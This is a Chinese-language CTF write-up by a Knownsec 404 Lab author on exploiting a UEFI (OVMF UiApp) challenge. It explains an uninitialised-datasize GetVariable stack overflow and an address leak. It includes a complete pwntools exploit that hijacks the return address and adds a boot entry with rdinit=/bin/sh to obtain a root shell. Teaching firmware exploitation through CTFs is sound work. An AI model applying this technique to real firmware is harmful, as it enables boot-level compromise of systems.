原创Paper | 从一道题入门 UEFI PWN

作者：Rivaille@知道创宇404实验室
日期：2022年11月10日

uefi-firmware-parser -ecO ./OVMF.fd

简单看一下解包后的目录，大致判断BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880这个目录中。

import os, subprocess
import random

def main():
    try:
        os.system("rm -f OVMF.fd")
        os.system("cp OVMF.fd.bak OVMF.fd")
        ret = subprocess.call([
            "qemu-system-x86_64",
            "-m", str(256+random.randint(0, 512)),
            "-drive", "if=pflash,format=raw,file=OVMF.fd",
            "-drive", "file=fat:rw:contents,format=raw",
            "-net", "none",
            "-monitor", "/dev/null",
            "-s","-S",
            "-nographic"
        ])
        print("Return:", ret)
    except Exception as e:
        print(e)
        print("Error!")
    finally:
        print("Done.")

if __name__ == "__main__":
    main()

通过winchecksec查看开启的保护机制：

漏洞原理是这样的：GetVariable在第一次从nvram取值写入栈中时，如果nvram变量的长度不为1，datasize的长度会被改写为对应nvram变量的长度。第二次调用GetVariable函数时，如果对datasize未做初始化，就有可能造成溢出。

相关漏洞可以参考一下这篇文章：https://binarly.io/advisories/BRLY-2021-007/index.html。（比赛时候还是得多google一下）。

回到Encode函数，我们看到函数从N1CTF_KEY中取值写入栈，然后和buffer中的值进行异或运算。而Add函数可以重新写入nvram变量，且写入的字符串最大长度为256字节，就是说我们可以通过Add覆盖掉之前定义的N1CTF_KEY1，N1CTF_KEY2，N1CTF_KEY3这三个变量的值。我们覆写N1CTF_KEY1的值为a*0x1c，覆写N1CTF_KEY2的值为a*0x18+p32(boot_addr)，然后设置一个nvram变量OVERFLOW，使其长度为0x11个字节，然后进入Encode函数，对OVERFLOW的值进行编码，这样第一次读取N1CTF_KEY1改写datasize，第二次读取N1CTF_KEY2就可以溢出到函数的返回地址处，劫持rip寄存器，使其跳转到boot manager的设置界面，获取root shell。

第二个地址减去偏移就是程序的基址。

调试的过程中会发现一个问题：虽然winchecksec检查程序没有开启aslr，但是实际上UiApp的加载基址是在变化的。所以需要泄露.text段的一个内存地址，才能成功把返回地址覆写成boot manager对应的地址。

在调试的过程中，我发现当Add设置的字符串长度等于256个字节时，会打印出一个地址。通过多次尝试，我发现这个地址和UiApp的基址的偏移一定程度上是固定，为0x1d009c0或者0x1e009c0，通过泄露出的地址减去偏移实际上也就得到了UiApp的基址。

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

boot_offset = 0x235A
uiapp_offset = 0x1e009c0

DEBUG = 1
if DEBUG == 1:
    '''
    fname = "/tmp/uefi"
    os.system("cp OVMF.fd %s"%fname)
    os.system("chmod u+w %s"%fname)
    '''
    p = process([
            "qemu-system-x86_64",
            "-m", str(256+random.randint(0, 512)),
            "-drive", "if=pflash,format=raw,file=OVMF.fd",
            "-drive", "file=fat:rw:contents,format=raw",
            "-net", "none",
            "-monitor", "/dev/null",
            #"-s","-S",
            "-nographic"
        ])
else :
    p = remote("47.243.105.43","9999")

LOCAL_REMOTE = 0
if LOCAL_REMOTE:
    os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")

key_map = {
    "up":    b"\x1b[A",
    "down":  b"\x1b[B",
    "left":  b"\x1b[D",
    "right": b"\x1b[C",
    "esc":   b"\x1b^[",
    "enter": b"\r",
    "tab":   b"\t"
}

def send_key(key,times = 1):
    for _ in range(times):
        p.send(key_map[key])
        if key == "enter":
            p.recv()

def add(Keyname,Keyvalue):
    p.sendlineafter("> \n",str(1))
    p.sendlineafter('Key name:\n',Keyname)
    p.sendlineafter('Key value:\n',Keyvalue)

def delete(Keyname,Keyvalue):
    p.sendlineafter("> \n",str(2))
    p.sendlineafter('Key name:\n',Keyname)

def Encode(Keyname):
    p.sendlineafter("> \n",str(4))
    p.sendlineafter("Key name:\n",Keyname)
    p.recv()

def exp():
    # leak UiAPP address
    p.sendline("\x1b[24~"*10)
    p.sendlineafter("> \n",str(1))
    p.sendlineafter("Key name:\n","N1CTF_KEY3")
    p.sendafter("Key value:\n",'a'*256)
    p.recvuntil('Encode\n> \n')

    p.sendline(str(3))
    p.recvuntil("Key name:\n")
    p.sendline('N1CTF_KEY3')
    p.recvuntil('Value: \n')
    p.recvuntil('a'*256)
    data = p.recvuntil('\n').strip('\n')
    leak_addr,i,j = 0,0,0
    while i < len(data):
        print(data[i])
        if data[i] == "\\":
            n = int(data[i+2],16)*0x10 + int(data[i+3],16)
            i += 4
        else:
            n = ord(data[i])
            i += 1
        leak_addr += n * (0x100**j)
        j += 1

    uiapp_base_addr = leak_addr - uiapp_offset
    log.success("leak address: %s"%hex(leak_addr))
    log.success("UiApp address: %s"%hex(uiapp_base_addr))
    boot_addr = uiapp_base_addr + boot_offset
    pause()

    # statck overflow
    payload = 'a'*0x18 + p32(boot_addr)
    add("N1CTF_KEY1",payload)
    add("N1CTF_KEY2",payload)
    add("OVERFLOW",'a'*0x11)

    p.recvuntil("> \n")
    p.sendline('4')
    p.recvuntil('Key name:\n')
    p.sendline('OVERFLOW')
    # Add option,get root shell
    p.recvuntil(b"Standard PC")
    send_key("down", 3)
    send_key("enter")
    send_key("enter")
    send_key("down")
    send_key("enter")
    send_key("enter")
    send_key("down", 3)
    send_key("enter")
    p.send(b"\rrootshell\r")
    send_key("down")
    p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
    send_key("down")
    send_key("enter")
    send_key("up")
    send_key("enter")
    send_key("esc")
    send_key("enter")
    send_key("down", 3)
    send_key("enter")

    # root shell
    # p.sendlineafter(b"/ #", b"cat /flag")
    p.interactive()

def main():
    exp()

if __name__ == "__main__":
    main()

https://www.anquanke.com/post/id/243007#h2-0

https://eqqie.cn/index.php/archives/1929

https://github.com/topics/uefi-pwn